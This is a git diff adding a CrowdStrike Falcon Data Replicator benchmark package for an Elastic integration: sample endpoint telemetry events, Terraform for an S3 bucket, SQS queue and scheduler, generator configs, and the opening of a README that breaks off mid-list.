+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"}
+{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"}
+{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"}
+{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"}
+{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"}
+{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1601546312519"}
+{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"}
+{"BootArgs":" NOEXECUTE=OPTIN  HYPERVISORLAUNCHTYPE=AUTO  FVEBOOT=2125824  NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"}
+{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"}
+{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"}
+{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"}
+{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"}
+{"aid":"11111111111111111111111111111111","cid":"22222222222222222222222222222222","hostname":"example-XXXXXXXXX","os_version":"Sonoma (14)","product_name":"","product_type_desc":"Workstation","host_hidden_status":"VISIBLE","event_platform":"Mac","scores":{"os":89,"sensor":100,"overall":97,"version":"3.8.1","modified_time":"2024-02-13T22:33:34.077075097Z"},"assessments":{"analytics_and_improvements_mac":"yes","application_firewall_mac":"yes","crendential_dumping_hash_mac":"yes","crendential_dumping_kcpassword_mac":"yes","crowdstrike_full_disk_access":"yes","execution_blocking_custom_blocking_enabled_mac":"yes","execution_blocking_intel_threats_enabled_mac":"yes","execution_blocking_suspicious_processes_enabled_mac":"yes","file_vault_enabled_mac":"yes","gatekeeper_mac":"yes","internet_sharing_mac":"yes","mac_os_version":"yes","ml_adware_detection_mac":"yes","ml_adware_prevention_mac":"yes","ml_cloud_antimalware_detection_mac":"yes","ml_cloud_antimalware_prevention_mac":"yes","ml_sensor_adware_and_pup_detection_mac":"yes","ml_sensor_adware_and_pup_prevention_mac":"yes","ml_sensor_antimalware_detection_mac":"yes","ml_sensor_antimalware_prevention_mac":"yes","quarantine_mac":"yes","real_time_response_enabled_mac":"yes","remote_login_mac":"yes","script_based_execution_monitoring_mac":"yes","sip_enabled_mac":"yes","stealth_mode_mac":"no","system_full_disk_access_mac":"no","unauthorized_remote_access_chopper_mac":"yes","unauthorized_remote_access_empyre_mac":"yes","unauthorized_remote_access_xpcom_mac":"yes"},"event_type":"ZeroTrustHostAssessment","timestamp":"1601546312519"}
+{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":{"Name":"DOMAIN\\BRADLEYA","ID":"1000"},"UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ad","event_platform":"Win","monthsincereset":"1.0"}
+{"ChangeId":"ca65aa54f7b9453b8ef199a5b2c8e3c4","Host":{"Name":"LINUX-TEST-HOST-01"},"User":{"Name":"testuser","ID":"1000"},"Policy":{"Name":"FileVantage Policy","RuleGroupName":"FileVantage Rule Group","RuleBasePath":"/home/testuser/filevantage/","ID":"8fd42a5c9ac24959a98d9e430837b5e6"},"Prevalence":{"Key":"1:3:DIR:CREATE:/home/testuser/filevantage/suppressed::node:testuser"},"Suppression":{"Suppressed":false},"ContentDiff":{"Exists":false,"SHA256":""},"CustomerIdString":"2cc98db1a47b4c98b913c94d43bfab70","UTCTimestamp":1764581217862,"Nonce":13140498271151144192,"AgentIdString":"2e3d9c94d9c34764860b1f3b444c6d4d","EventUUID":"ca65aa54-f7b9-453b-8ef1-99a5b2c8e3c4","cid":"2cc98db1a47b4c98b913c94d43bfab70","eid":118,"timestamp":"2025-12-01T09:26:57Z","EventType":"Event_ExternalApiEvent","ExternalApiType":"Event_FileIntegrityMonitorRuleMatchedEnriched"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
new file mode 100644
index 0000000000..ac47ae84b0
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/main.tf
@@ -0,0 +1,125 @@
+provider "aws" {
+  default_tags {
+    tags = {
+      environment  = var.ENVIRONMENT
+      repo         = var.REPO
+      branch       = var.BRANCH
+      build        = var.BUILD_ID
+      created_date = var.CREATED_DATE
+    }
+  }
+}
+
+resource "aws_s3_bucket" "crowdstrike_fdr" {
+  bucket = "${var.bucket_name}-${var.TEST_RUN_ID}"
+}
+
+resource "aws_s3_object" "crowdstrike_data" {
+  bucket = aws_s3_bucket.crowdstrike_fdr.id
+  key    = "data"
+  source = "./files/fdr-sample.log"
+}
+
+resource "aws_s3_object" "crowdstrike_aidmaster" {
+  bucket = aws_s3_bucket.crowdstrike_fdr.id
+  key    = "fdrv2/aidmaster"
+  source = "./files/fdr-0_aidmaster.log"
+}
+
+resource "aws_s3_object" "crowdstrike_userinfo" {
+  bucket = aws_s3_bucket.crowdstrike_fdr.id
+  key    = "fdrv2/userinfo"
+  source = "./files/fdr-0_userinfo.log"
+}
+
+resource "aws_sqs_queue" "crowdstrike_queue" {
+  name = "elastic-package-crowdstrike-queue-${var.TEST_RUN_ID}"
+}
+
+# IAM Policy for EventBridge Scheduler
+resource "aws_iam_policy" "sqs_access_policy" {
+  count       = var.eventbridge_role_arn == null ? 1 : 0
+  name        = "sqs-access-policy-${var.TEST_RUN_ID}"
+  description = "Policy for EventBridge Scheduler to send messages to SQS"
+
+  policy = jsonencode({
+    Version = "2012-10-17"
+    Statement = [
+      {
+        Action = [
+          "sqs:ReceiveMessage",
+          "sqs:SendMessage"
+        ],
+        Effect   = "Allow"
+        Resource = aws_sqs_queue.crowdstrike_queue.arn
+      }
+    ]
+  })
+}
+
+# IAM Role for EventBridge Scheduler
+resource "aws_iam_role" "eventbridge_scheduler_iam_role" {
+  count               = var.eventbridge_role_arn == null ? 1 : 0
+  name_prefix         = "eb-scheduler-role-${var.TEST_RUN_ID}-"
+  managed_policy_arns = [aws_iam_policy.sqs_access_policy.0.arn]
+  path                = "/"
+  assume_role_policy  = <<EOF
+{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Effect": "Allow",
+            "Principal": {
+                "Service": "scheduler.amazonaws.com"
+            },
+            "Action": "sts:AssumeRole"
+        }
+    ]
+}
+EOF
+}
+
+// Simulate CrowdStrike sending its notification events to SQS. CrowdStrike
+// uses a custom notification format that is different than the AWS S3 event
+// notification format.
+resource "aws_scheduler_schedule" "eventbridge_scheduler_every1minute" {
+  name       = "eventbridge_scheduler_crowdstrike_fdr_sqs-${var.TEST_RUN_ID}"
+  group_name = "default"
+
+  flexible_time_window {
+    mode = "OFF"
+  }
+
+  schedule_expression = "rate(1 minutes)"
+
+  target {
+    arn      = aws_sqs_queue.crowdstrike_queue.arn
+    role_arn = var.eventbridge_role_arn == null ? aws_iam_role.eventbridge_scheduler_iam_role.0.arn : var.eventbridge_role_arn
+
+    input = jsonencode({
+      cid        = "ffffffff15754bcfb5f9152ec7ac90ac"
+      timestamp  = 1625677488615
+      fileCount  = 3
+      totalSize  = 120161
+      bucket     = aws_s3_bucket.crowdstrike_fdr.id
+      pathPrefix = "data/f0714ca5-3689-448d-b5cc-582a6f7a56b1"
+      "files" : [
+        {
+          "path" : aws_s3_object.crowdstrike_data.key,
+          "size" : 115258,
+          "checksum" : "c24b5525ad5d4b3ff92bb3c9c002bdc7"
+        },
+        {
+          "path" : aws_s3_object.crowdstrike_aidmaster.key,
+          "size" : 4414,
+          "checksum" : "a06a88462e6950f0be3bb83230047e87"
+        },
+        {
+          "path" : aws_s3_object.crowdstrike_userinfo.key,
+          "size" : 489,
+          "checksum" : "349c96ed5531edce2233ad417123736d"
+        }
+      ]
+    })
+  }
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf
new file mode 100644
index 0000000000..f209748004
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/outputs.tf
@@ -0,0 +1,3 @@
+output "queue_url" {
+  value = aws_sqs_queue.crowdstrike_queue.url
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
new file mode 100644
index 0000000000..2d36f150ab
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/deploy/tf/variables.tf
@@ -0,0 +1,48 @@
+variable "BRANCH" {
+  description = "Branch name or pull request for tagging purposes"
+  default     = "unknown-branch"
+}
+
+variable "BUILD_ID" {
+  description = "Build ID in the CI for tagging purposes"
+  default     = "unknown-build"
+}
+
+variable "CREATED_DATE" {
+  description = "Creation date in epoch time for tagging purposes"
+  default     = "unknown-date"
+}
+
+variable "ENVIRONMENT" {
+  default = "unknown-environment"
+}
+
+variable "REPO" {
+  default = "unknown-repo-name"
+}
+
+variable "TEST_RUN_ID" {
+  default = "detached"
+}
+
+variable "bucket_name" {
+  default = "elastic-package-crowdstrike-fdr"
+}
+
+variable "queue_name" {
+  default = "elastic-package-crowdstrike-fdr"
+}
+
+// If testing using the elastic-siem account then add the following line to
+// services.terraform.environment in the env.yml file to override this
+// variable.
+//
+//   TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001
+//
+// This is needed because the elastic-siem user accounts do not allow IAM
+// changes.
+variable "eventbridge_role_arn" {
+  description = "ARN of the role that EventBridge should assume to send SQS notifications."
+  default     = null
+  type        = string
+}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml
new file mode 100644
index 0000000000..2c3e8f51d6
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark.yml
@@ -0,0 +1,26 @@
+---
+description: Benchmark 100000 fdr events ingested
+input: aws-s3
+deployer: tf
+data_stream:
+  name: fdr
+  vars:
+    access_key_id: "{{AWS_ACCESS_KEY_ID}}"
+    secret_access_key: "{{AWS_SECRET_ACCESS_KEY}}"
+    session_token: "{{AWS_SESSION_TOKEN}}"
+    queue_url: "{{TF_OUTPUT_queue_url}}"
+    preserve_original_event: true
+    enable_deduplication: true
+warmup_time_period: 5s
+corpora:
+  input_service:
+    name: crowdstrike-tf
+  generator:
+    total_events: 1000
+    template:
+      path: ./fdr-benchmark/template.ndjson
+      type: gotext
+    config:
+      path: ./fdr-benchmark/config.yml
+    fields:
+      path: ./fdr-benchmark/fields.yml
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml
new file mode 100644
index 0000000000..fb4a0a8028
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/config.yml
@@ -0,0 +1,9 @@
+fields:
+  - name: id
+    cardinality: 100000
+  - name: cid
+    cardinality: 100000
+  - name: aid
+    cardinality: 100000
+  - name: timestamp
+    period: -24h
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml
new file mode 100644
index 0000000000..8018bd6a63
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/fields.yml
@@ -0,0 +1,8 @@
+- name: id
+  type: keyword
+- name: cid
+  type: keyword
+- name: aid
+  type: keyword
+- name: timestamp
+  type: date
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson
new file mode 100644
index 0000000000..1507ca3b88
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/benchmark/system/fdr-benchmark/template.ndjson
@@ -0,0 +1,5 @@
+{{- $id := generate "id" }}
+{{- $cid := generate "cid" }}
+{{- $aid := generate "aid" }}
+{{- $timestamp := generate "timestamp" }}
+{"id":"{{ $id }}","cid":"{{ $cid }}","aid":"{{ $aid }}","timestamp":"{{ $timestamp }}"},
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
new file mode 100644
index 0000000000..d8553567e9
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/build.yml
@@ -0,0 +1,3 @@
+dependencies:
+  ecs:
+    reference: "git@v8.17.0"
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
new file mode 100644
index 0000000000..9b9d1f476d
--- /dev/null
+++ b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/build/docs/README.md
@@ -0,0 +1,319 @@
+# CrowdStrike Integration
+
+The [CrowdStrike](https://www.crowdstrike.com/) integration allows you to easily connect your CrowdStrike Falcon platform to Elastic for seamless onboarding of alerts and telemetry from CrowdStrike Falcon and Falcon Data Replicator. Elastic Security can leverage this data for security analytics including correlation, visualization and incident response. It provides support using four different modes for integrating CrowdStrike to the Elastic:
+
+1. **Falcon SIEM Connector**: This is a pre-built integration designed to connect CrowdStrike Falcon with Security Information and Event Management (SIEM) systems. It streamlines the flow of security data from CrowdStrike Falcon to the SIEM, providing a standardized and structured way of feeding information into the SIEM platform. It includes the following datasets for receiving logs:
+
+- `falcon` dataset: consists of endpoint data and Falcon platform audit data forwarded from Falcon SIEM Connector.
+
+    **Log File Format and Location**
+
+    The CrowdStrike integration only supports JSON output format from the SIEM Connector.
+
+    - Log files are written to multiple rotated output files based on the `output_path` setting in the `cs.falconhoseclient.cfg` file.
+    - The default output location for the Falcon SIEM Connector is `/var/log/crowdstrike/falconhoseclient/output`.
+    - By default, files named `output*` in `/var/log/crowdstrike/falconhoseclient` directory contain valid JSON event data and should be used as the source for ingestion.
+
+    >Note: Files with names like `cs.falconhoseclient-*.log` in the same directory are primarily used for logging internal operations of the Falcon SIEM Connector and are not intended to be consumed by this integration.
+
+2. **CrowdStrike REST API**: This provides a programmatic interface to interact with the CrowdStrike Falcon platform. It allows users to perform various operations such as querying information about unified alerts and hosts/devices. It includes the following datasets for receiving logs:
+
+- `alert` dataset: It is typically used to retrieve detailed information about unified alerts generated by the CrowdStrike Falcon platform, via Falcon Intelligence Alert API - `/alerts/combined/alerts/v1`.
+
+- `host` dataset: It retrieves all the hosts/devices in your environment providing information such as device metadata, configuration, and status generated by the CrowdStrike Falcon platform, via Falcon Intelligence Host/Device API - `/devices/combined/devices/v1`. For GovCloud CIDs it uses `/devices/queries/devices/v1` and `/devices/entities/devices/v2` endpoints. It is more focused to provide the management and monitoring information of devices such as login details, status, policies, configuration etc.
+
+    >  NOTE: GovCloud CID users must enable the GovCloud option in the integration configuration to query the `/devices/queries/devices/v1` endpoint instead of the unsupported `/devices/combined/devices/v1` endpoint.
+
+- `vulnerability` dataset: It retrieves all the vulnerabilities in your environment, providing information such as severity, status, confidence levels, remediation guidance, and affected hosts, as detected by the CrowdStrike Falcon platform, via the Falcon Spotlight Vulnerability API - `/spotlight/combined/vulnerabilities/v1`.
+
+3. **Falcon Data Replicator**: This collects events from your endpoints, cloud workloads, identities, and data. CrowdStrike Falcon Data Replicator (FDR) enables you with actionable insights to improve SOC performance. FDR contains data collected by the Falcon platform's single, lightweight agent. It includes the following datasets for receiving logs:
+
+- `fdr` dataset: consists of logs forwarded using the [Falcon Data Replicator](https://github.com/CrowdStrike/FDR). In addition to the existing log types, the integration supports parsing of Cloud Security Posture Management (CSPM). CSPM contains Indicators of Misconfiguration (IOM) and Indicators of Attack (IOA) events.
+
+4. **CrowdStrike Event Stream**: This streams security logs from CrowdStrike Event Stream, including authentication activity, cloud security posture management (CSPM), firewall logs, user activity, and XDR data. It captures real-time security events like user logins, cloud environment changes, network traffic, and advanced threat detections. The streaming integration provides continuous monitoring and analysis for proactive threat detection. It enhances visibility into user behavior, network security, and overall system health. This setup enables faster response capabilities to emerging security incidents. It includes the following datasets for receiving logs:
+
+- `falcon` dataset: consists of streaming data forwarded from CrowdStrike Event Stream.
+
+## Compatibility
+
+This integration is compatible with CrowdStrike Falcon SIEM-Connector-v2.0, REST API, and CrowdStrike Event Streaming.
+For Rest API support, this module has been tested against the **CrowdStrike API Version v1/v2**.
+
+## Requirements
+
+### Agentless enabled integration
+Agentless integrations allow you to collect data without having to manage Elastic Agent in your cloud. They make manual agent deployment unnecessary, so you can focus on your data instead of the agent that collects it. For more information, refer to [Agentless integrations](https://www.elastic.co/guide/en/serverless/current/security-agentless-integrations.html) and the [Agentless integrations FAQ](https://www.elastic.co/guide/en/serverless/current/agentless-integration-troubleshooting.html).
+
+Agentless deployments are only supported in Elastic Serverless and Elastic Cloud environments.  This functionality is in beta and is subject to change. Beta features are not subject to the support SLA of official GA features.
+
+### Agent based installation
+
+Elastic Agent must be installed. For more details, check the Elastic Agent [installation instructions](docs-content://reference/fleet/install-elastic-agents.md).
+You can install only one Elastic Agent per host.
+Elastic Agent is required to stream data from the GCP Pub/Sub or REST API and ship the data to Elastic, where the events will then be processed via the integration's ingest pipelines.
+
+## Setup
+
+### Collect data from CrowdStrike REST API 
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token url
+4. API Endpoint url
+5. Required scopes for each data stream :
+
+    | Data Stream   | Scope         |
+    | ------------- | ------------- |
+    | Alert         | read:alert    |
+    | Host          | read:host     |
+    | Vulnerability | read:vulnerability |
+
+### Collect data from CrowdStrike Event Stream
+
+The following parameters from your CrowdStrike instance are required:
+
+1. Client ID
+2. Client Secret
+3. Token URL
+4. API Endpoint URL
+5. CrowdStrike App ID
+6. Required scopes for event stream:
+
